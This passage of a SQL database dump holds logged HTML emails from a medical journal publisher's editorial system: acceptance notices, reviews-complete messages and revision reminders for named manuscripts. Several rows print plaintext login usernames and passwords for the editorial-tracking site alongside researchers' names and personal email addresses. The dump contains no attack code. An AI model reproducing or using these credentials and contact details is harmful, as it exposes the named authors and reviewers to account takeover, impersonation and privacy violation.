</tbody>\r\n</table>',1,'Author Notification: Accept','ameliani2003@yahoo.fr',4392,'2020-06-20',85),(1508,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4607</b><br />\r\n            <br />\r\n            Article Title: <b>WiFi Calling system in Ophthalmology Clinics in Saudi Arabia </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mohammed Halawani</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4607</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jennifer<br />\r\n            <b>Password:</b> rTMjHpr8<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jencook@email.arizona.edu',4607,'2020-06-20',85),(1510,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4585</b><br />\r\n            <br />\r\n            Article Title: <b>Correlation between new daily covid-19 cases,new daily death cases and Google trends for masks among Algeria.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Anwar Benabdellah</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4585</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> szarpak<br />\r\n            <b>Password:</b> eRgytVxj<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','lukasz.szarpak@gmail.com',4585,'2020-06-20',85),(1511,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4585</b><br />\r\n            <br />\r\n            Article Title: <b>Correlation between new daily covid-19 cases,new daily death cases and Google trends for masks among Algeria.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Benabdellah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','benabdellah_anwar@yahoo.fr',4585,'2020-06-20',85),(1520,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4056</b><br />\r\n            <br />\r\n            Article Title: <b>Case series of COVID-19 patients who recovered without requiring intubation</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Seo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 24 hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','angie.seo@lifespan.org',4056,'2020-06-22',85),(1523,'<p>Ref.:  Ms. No. : <b>ipaom-20-4636</b><br />\r\n<br />\r\nARTICLE TITLE: <b>RELATIONSHIP BETWEEN VENTRICULOPERITONEAL SHUNT OBSTRUCTION AND INFECTION IN PEDIATRIC PATIENTS WITH HYDROCEPHALUS</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. şahin</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4636</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ali</b><br />\r\npassword: <b>knpZoBjP</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','dralishn@gmail.com',4636,'2020-06-24',85),(1524,'<p>Ref.:  Ms. No. : <b>ipaom-20-4226</b><br />\r\n<br />\r\nARTICLE TITLE: <b>A case of COVID-19 pneumonia complicated by pericardial effusion.</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Miminoshvili</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4226</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>archili</b><br />\r\npassword: <b>Ce0llfmG</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','dr.miminoshvili@gmail.com',4226,'2020-06-24',85),(1525,'<p>Ref.:  Ms. No. : <b>ipaom-20-4194</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Prevalence and Outcome of Tuberculosis Treatment in a Primary Care Center in Karachi</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Jehangir</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4194</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>dr._fatima</b><br />\r\npassword: <b>d04uXXNa</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','fatima.jehangir@zu.edu.pk',4194,'2020-06-24',85),(1526,'<p>Ref.:  Ms. No. : <b>ipaom-20-4058</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Systemic lupus revealed by pneumonia</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. yousfi</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4058</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>jaouad</b><br />\r\npassword: <b>YakOmnfg</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','yousfi.medecineinterne@gmail.com',4058,'2020-06-24',85),(1528,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4437</b><br />\r\n            <br />\r\n            Article Title: <b>Efficacy of topical application of plant extract based natural oils in management of polycystic ovarian syndrome: a two-arm parallel group randomised double-blind placebo-controlled clinical study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Bahl</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','pcos@yogicnaturals.com',4437,'2020-06-24',48),(1531,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4439</b><br />\r\n            <br />\r\n            Article Title: <b>The significance of Isolated Polycystic Ovarian Morphology in normoandrogenic ovulatory women</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Emam</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mae335@hotmail.com',4439,'2020-06-24',48),(1532,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4396</b><br />\r\n            <br />\r\n            Article Title: <b>RECENT STUDIES ON URINARY TRACT INFECTIONS IN DIABETES MELLITUS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Shah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mehrshah1@outlook.com',4396,'2020-06-24',48),(1534,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4607</b><br />\r\n            <br />\r\n            Article Title: <b>WiFi Calling system in Ophthalmology Clinics in Saudi Arabia </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Halawani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','moodymah@gmail.com',4607,'2020-06-24',85),(1535,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-4251</b><br />\r\n            <br />\r\n            Article Title: <b>Face lifting by suspension sutures </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Shadi ALkhawaldeh </b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Engin</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>IPJUS-20-4251</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> omer<br />\r\n            <b>Password:</b> sFPsN5Z5<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','omerengin@hotmail.com',4251,'2020-06-24',319),(1536,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-4138</b><br />\r\n            <br />\r\n            Article Title: <b>A Very Rare Cause of Bowel Obstruction in Children: Colocolonic Intussusception</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Baykara</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>IPJUS-20-4138</b> by <b>26-06-2020</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.jusurgery.com/\">https://www.jusurgery.com/</a></b> and submit the revision. You can also submit as an email attachment to universalsurg@healthjournals.org<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>aziz_serhat</b><br />\r\n            Password : <b>4Dt2IKTR</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','asbaykara@hotmail.com',4138,'2020-06-24',319),(1538,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4784</b><br />\r\n            <br />\r\n            Article Title: <b>Diagnostic accuracy of Lugol&rsquo;s iodine staining in detection of safe margins of oral squamous cell carcinoma</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kashif</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drkashifazam@gmail.com',4784,'2020-06-26',48),(1545,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4568</b><br />\r\n            <br />\r\n            Article Title: <b>Self - reported quality of life among Primary Open Angle Glaucoma patients at the Guinness Eye Center Onitsha, Nigeria</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ezenwa</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','adaezenwa17@gmail.com',4568,'2020-06-27',48),(1546,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4324</b><br />\r\n            <br />\r\n            Article Title: <b>PREVALENCE AND RISK FACTORS OF ROTAVIRUS INFECTION IN PAEDIATRIC PATIENTS 0-5 YEARS OF AGE IN KADUNA METROPOLIS, KADUNA STATE, NIGERIA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Zirra</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','zirraabraham@gmail.com',4324,'2020-06-27',48),(1549,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4733</b><br />\r\n            <br />\r\n            Article Title: <b>An overview on managment of Ectropion with medial canthal tendon laxity</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ali Ammouri</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4733</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',4733,'2020-06-30',85),(1562,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4958</b><br />\r\n            <br />\r\n            Article Title: <b>Relationship Between Nursing Leaders Emotional Intelligence and Nursing Staff Creativity and Innovative Work Behavior</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>ALMOTAIRI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sa.kf.mo@hotmail.com',4958,'2020-07-03',48),(1565,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-4467</b><br />\r\n            <br 